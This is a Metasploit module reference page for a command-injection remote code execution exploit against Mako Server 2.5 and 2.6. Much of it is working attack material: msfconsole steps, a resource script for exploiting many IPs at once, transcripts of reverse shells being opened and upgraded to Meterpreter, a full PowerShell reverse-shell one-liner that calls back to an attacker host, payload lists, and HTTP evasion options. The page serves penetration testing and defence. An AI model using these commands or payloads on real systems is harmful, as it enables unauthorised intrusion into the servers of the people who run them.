Mako Server v2.5, 2.6 OS Command Injection RCE - Metasploit
This page contains detailed information about how to use the exploit/multi/http/makoserver_cmd_exec metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Mako Server v2.5, 2.6 OS Command Injection RCE
Module: exploit/multi/http/makoserver_cmd_exec
Source code: modules/exploits/multi/http/makoserver_cmd_exec.rb
Disclosure date: 2017-09-03
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): cmd
Supported platform(s): Unix, Windows
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module exploits a vulnerability found in Mako Server v2.5, 2.6. It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
Using makoserver_cmd_exec against a single host
Normally, you can use exploit/multi/http/makoserver_cmd_exec this way:
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > show targets
... a list of targets ...
msf exploit(makoserver_cmd_exec) > set TARGET target-id
msf exploit(makoserver_cmd_exec) > show options
... show and set options ...
msf exploit(makoserver_cmd_exec) > exploit
Using makoserver_cmd_exec against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your makoserver_cmd_exec will be using:
- Do:
use exploit/multi/handler - Do:
set PAYLOAD [payload] - Set other options required by the payload
- Do:
set EXITONSESSION false - Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/multi/http/makoserver_cmd_exec")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Knowledge Base
Vulnerable Application
This module exploits a vulnerability found in Mako Server v2.5, 2.6. It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
Mako Server is an application framework for designing web and IoT applications.
This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS: - v2.5 - v2.6
Links: - Windows x86 installer - Windows download page - Linux x64 installer - Linux download page - Documentation
Verification Steps
Windows
- Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
- After installer finishes, double click the "Mako-Demo" shortcut on the desktop
- Start msfconsole on host
- Do:
use exploit/multi/http/makoserver_cmd_exec - Do:
set RHOST <IP address of target system> - Do:
set PAYLOAD cmd/windows/reverse_powershell - Do:
set LHOST <IP address of host system> - Do:
exploit - You should get a Windows command shell
Verification Steps
Linux
- Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
- From inside the extracted folder, do
./rundemo.sh - Start msfconsole on host
- Do:
use exploit/multi/http/makoserver_cmd_exec - Do:
set RHOST <IP address of target system> - Do:
set PAYLOAD cmd/unix/python_reverse - Do:
set LHOST <IP address of host system> - Do:
exploit - You should get a Linux command shell (may need to wait ~30 seconds)
Scenarios
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
LHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49175) at 2017-10-26 21:23:59 -0400
Microsoft Windows
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Smith\Downloads\MakoServer>
Verbose Output
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(makoserver_cmd_exec) > set VERBOSE true
VERBOSE => true
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.2
LHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > check
[*] Trying to detect running Mako Server and necessary files...
[*] Mako Server save.lsp returns correct ouput.
[*] 10.10.10.3:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.2:4444
[*] Sending payload to target...
[*] Now executing the following command: os.execute([[powershell -w hidden -nop -c function RSC{if ($c.Connected -eq $true) {$c.Close()};if ($p.ExitCode -ne $null) {$p.Close()};exit;};$a='10.10.10.2';$p='4444';$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$p);$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize;$p=New-Object System.Diagnostics.Process;$p.StartInfo.FileName='cmd.exe';$p.StartInfo.RedirectStandardInput=1;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0;$p.Start();$is=$p.StandardInput;$os=$p.StandardOutput;Start-Sleep 1;$e=new-object System.Text.AsciiEncoding;while($os.Peek() -ne -1){$o += $e.GetString($os.Read())};$s.Write($e.GetBytes($o),0,$o.Length);$o=$null;$d=$false;$t=0;while (-not $d) {if ($c.Connected -ne $true) {RSC};$pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) {$r=$s.Read($nb,$pos,$nb.Length - $pos);$pos+=$r;if (-not $pos -or $pos -eq 0) {RSC};if ($nb[0..$($pos-1)] -contains 10) {break}};if ($pos -gt 0){$str=$e.GetString($nb,0,$pos);$is.write($str);start-sleep 1;if ($p.ExitCode -ne $null){RSC}else{$o=$e.GetString($os.Read());while($os.Peek() -ne -1){$o += $e.GetString($os.Read());if ($o -eq $str) {$o=''}};$s.Write($e.GetBytes($o),0,$o.length);$o=$null;$str=$null}}else{RSC}};]])
[*] Sending PUT request to save.lsp...
[*] Sending GET request to manage.lsp...
[*] Command shell session 1 opened (10.10.10.2:4444 -> 10.10.10.3:49174) at 2017-10-26 21:21:08 -0400
Microsoft Windows
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Smith\Downloads\MakoServer>
Targeting Windows 7 SP1 x64 running Mako Server v2.5
A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
RHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
PAYLOAD => cmd/windows/reverse_powershell
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
LHOST => 10.10.10.4
msf exploit(makoserver_cmd_exec) > check
[*] 10.10.10.2:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.4:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:49189) at 2017-10-25 20:57:56 -0400
Microsoft Windows
Copyright (c) Microsoft Corporation. All rights reserved.
C:\Users\Smith\Downloads\MakoServer>^Z
Background session 1? [y/N] y
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
msf post(shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(shell_to_meterpreter) > set LPORT 8080
LPORT => 8080
msf post(shell_to_meterpreter) > exploit
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.10.4:8080
[-] Powershell is not installed on the target.
[*] Command stager progress: 1.66% (1699/102108 bytes)
...
[*] Command stager progress: 100.00% (102108/102108 bytes)
[*] Post module execution completed
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/windows 10.10.10.4:4444 -> 10.10.10.2:49189 (10.10.10.2)
2 meterpreter x86/windows smith-PC\smith @ SMITH-PC 10.10.10.4:8080 -> 10.10.10.2:49190 (10.10.10.2)
msf post(shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: smith-PC\smith
meterpreter > sysinfo
Computer : SMITH-PC
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
Linux Ubuntu 16.04 LTS x64 running Mako Server v2.5
A typical scenario would be to obtain a Linux command shell and then upgrade to a Meterpreter session:
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
RHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/unix/reverse_python
PAYLOAD => cmd/unix/reverse_python
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
LHOST => 10.10.10.4
msf exploit(makoserver_cmd_exec) > check
[*] 10.10.10.2:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.4:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:57888) at 2017-11-10 15:52:33 -0500
ls
LICENSE.txt
mako
mako.zip
README.txt
rundemo.sh
tutorial
^Z
Background session 1? [y/N] y
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
msf post(shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(shell_to_meterpreter) > set LPORT 8080
LPORT => 8080
msf post(shell_to_meterpreter) > exploit
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.10.4:8080
[*] Sending stage (847604 bytes) to 10.10.10.2
[*] Meterpreter session 2 opened (10.10.10.4:8080 -> 10.10.10.2:60448) at 2017-11-10 15:54:38 -0500
[*] Command stager progress: 100.00% (736/736 bytes)
[*] Post module execution completed
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
2 meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000 @ 10.10.10.2 10.10.10.4:8080 -> 10.10.10.2:60448 (10.10.10.2)
msf post(shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 10.10.10.2
OS : Ubuntu 16.04 (Linux 4.10.0-35-generic)
Architecture : x64
Meterpreter : x86/linux
Go back to menu.
Msfconsole Usage
Here is how the multi/http/makoserver_cmd_exec exploit module looks in the msfconsole:
msf6 > use exploit/multi/http/makoserver_cmd_exec
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/http/makoserver_cmd_exec) > show info
Name: Mako Server v2.5, 2.6 OS Command Injection RCE
Module: exploit/multi/http/makoserver_cmd_exec
Platform: Windows, Unix
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2017-09-03
Provided by:
John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure
Steven Patterson (Shogun Lab) <[email protected]>
Available targets:
Id Name
-- ----
0 Mako Server v2.5, 2.6
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes URI path to the Mako Server app
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits a vulnerability found in Mako Server v2.5, 2.6.
It's possible to inject arbitrary OS commands in the Mako Server
tutorial page through a PUT request to save.lsp. Attacker input will
be saved on the victims machine and can be executed by sending a GET
request to manage.lsp.
References:
https://www.exploit-db.com/exploits/42683
https://blogs.securiteam.com/index.php/archives/3391
Module Options
This is a complete list of options available in the multi/http/makoserver_cmd_exec exploit:
msf6 exploit(multi/http/makoserver_cmd_exec) > show options
Module options (exploit/multi/http/makoserver_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes URI path to the Mako Server app
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Mako Server v2.5, 2.6
Advanced Options
Here is a complete list of advanced options supported by the multi/http/makoserver_cmd_exec exploit:
msf6 exploit(multi/http/makoserver_cmd_exec) > show advanced
Module advanced options (exploit/multi/http/makoserver_cmd_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the multi/http/makoserver_cmd_exec module can exploit:
msf6 exploit(multi/http/makoserver_cmd_exec) > show targets
Exploit targets:
Id Name
-- ----
0 Mako Server v2.5, 2.6
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/makoserver_cmd_exec exploit:
msf6 exploit(multi/http/makoserver_cmd_exec) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_stub normal No Unix Command Shell, Bind TCP (stub)
15 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
16 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
17 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
18 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
19 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
20 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
21 payload/cmd/unix/reverse_bash normal No Unix Command Shell, Reverse TCP (/dev/tcp)
22 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
23 payload/cmd/unix/reverse_bash_udp normal No Unix Command Shell, Reverse UDP (/dev/udp)
24 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
25 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
26 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
27 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
28 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
29 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
30 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
31 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
32 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
33 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
34 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
35 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
36 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
37 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
38 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
39 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
40 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
41 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
42 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
43 payload/cmd/unix/reverse_stub normal No Unix Command Shell, Reverse TCP (stub)
44 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
45 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
46 payload/cmd/windows/adduser normal No Windows Execute net user /ADD CMD
47 payload/cmd/windows/bind_lua normal No Windows Command Shell, Bind TCP (via Lua)
48 payload/cmd/windows/bind_perl normal No Windows Command Shell, Bind TCP (via Perl)
49 payload/cmd/windows/bind_perl_ipv6 normal No Windows Command Shell, Bind TCP (via perl) IPv6
50 payload/cmd/windows/bind_ruby normal No Windows Command Shell, Bind TCP (via Ruby)
51 payload/cmd/windows/download_eval_vbs normal No Windows Executable Download and Evaluate VBS
52 payload/cmd/windows/download_exec_vbs normal No Windows Executable Download and Execute (via .vbs)
53 payload/cmd/windows/generic normal No Windows Command, Generic Command Execution
54 payload/cmd/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
55 payload/cmd/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
56 payload/cmd/windows/reverse_lua normal No Windows Command Shell, Reverse TCP (via Lua)
57 payload/cmd/windows/reverse_perl normal No Windows Command, Double Reverse TCP Connection (via Perl)
58 payload/cmd/windows/reverse_powershell normal No Windows Command Shell, Reverse TCP (via Powershell)
59 payload/cmd/windows/reverse_ruby normal No Windows Command Shell, Reverse TCP (via Ruby)
60 payload/generic/custom normal No Custom Payload
61 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
62 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the multi/http/makoserver_cmd_exec exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(multi/http/makoserver_cmd_exec) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Target is not a Mako Server.
Here is a relevant code snippet related to the "Target is not a Mako Server." error message:
56: 'uri' => normalize_uri(target_uri.path, 'examples/save.lsp')
57: }, 20)
58:
59: # If response does not include "MakoServer.net", target is not viable.
60: if res.headers['Server'] !~ /MakoServer\.net/
61: vprint_warning('Target is not a Mako Server.')
62: return CheckCode::Safe
63: end
64:
65: if res.body
66: if res.body.include?('Incorrect usage')
Mako Server save.lsp did not return expected output.
Here is a relevant code snippet related to the "Mako Server save.lsp did not return expected output." error message:
69: vprint_status('Mako Server save.lsp returns correct ouput.')
70: return CheckCode::Appears
71: else
72: # The page exists, but is not returning the expected output.
73: # May be a different version?
74: vprint_warning('Mako Server save.lsp did not return expected output.')
75: return CheckCode::Detected
76: end
77: else
78: # The above checks failed and exploitability could not be determined.
79: vprint_error('Unable to determine exploitability, save.lsp not found.')
Unable to determine exploitability, save.lsp not found.
Here is a relevant code snippet related to the "Unable to determine exploitability, save.lsp not found." error message:
74: vprint_warning('Mako Server save.lsp did not return expected output.')
75: return CheckCode::Detected
76: end
77: else
78: # The above checks failed and exploitability could not be determined.
79: vprint_error('Unable to determine exploitability, save.lsp not found.')
80: return CheckCode::Unknown
81: end
82:
83: CheckCode::Safe
84: end
Error: <E>
Here is a relevant code snippet related to the "Error: <E>" error message:
105: 'vars_get' => {
106: 'ex' => '2.1'
107: }
108: }, 20)
109: rescue StandardError => e
110: fail_with(Failure::NoAccess, "Error: #{e}")
111: end
112:
113: # Send a GET request to manage.lsp with execute set to true
114: begin
115: vprint_status('Sending GET request to manage.lsp...')
Error: <E>
Here is a relevant code snippet related to the "Error: <E>" error message:
119: 'vars_get' => {
120: 'execute' => 'true',
121: 'ex' => '2.1',
122: 'type' => 'lua'
123: }
124: }, 20)
125: rescue StandardError => e
126: fail_with(Failure::NoAccess, "Error: #{e}")
127: end
128: end
129: end
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #9197 Merged Pull Request: Add Mako Server CMD injection Linux support, update docs, move to multi
References
See Also
Check also the following modules related to this module:
- auxiliary/admin/edirectory/edirectory_dhost_cookie
- auxiliary/admin/edirectory/edirectory_edirutil
- auxiliary/admin/smb/list_directory
- auxiliary/dos/http/wordpress_directory_traversal_dos
- auxiliary/scanner/http/a10networks_ax_directory_traversal
- auxiliary/scanner/http/barracuda_directory_traversal
- auxiliary/scanner/http/cisco_directory_traversal
- auxiliary/scanner/http/httpdasm_directory_traversal
- auxiliary/scanner/http/springcloud_directory_traversal
- auxiliary/scanner/http/support_center_plus_directory_traversal
- auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing
- exploit/linux/misc/novell_edirectory_ncp_bof
- exploit/windows/http/edirectory_host
- exploit/windows/http/edirectory_imonitor
- exploit/multi/http/hp_sitescope_issuesiebelcmd
- exploit/multi/http/microfocus_ucmdb_unauth_deser
- exploit/multi/http/moodle_cmd_exec
- exploit/multi/http/openmediavault_cmd_exec
- exploit/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi
- exploit/multi/fileformat/evince_cbt_cmd_injection
- exploit/multi/misc/bmc_patrol_cmd_exec
- exploit/multi/misc/freeswitch_event_socket_cmd_exec
- exploit/multi/misc/veritas_netbackup_cmdexec
- exploit/multi/postgres/postgres_copy_from_program_cmd_exec
Authors
- John Page (hyp3rlinx) - Beyond Security SecuriTeam Secure Disclosure
- Steven Patterson (Shogun Lab) <steven[at]shogunlab.com>
Version
This page has been produced using Metasploit Framework version 6.1.27-dev. For more modules, visit the Metasploit Module Library.
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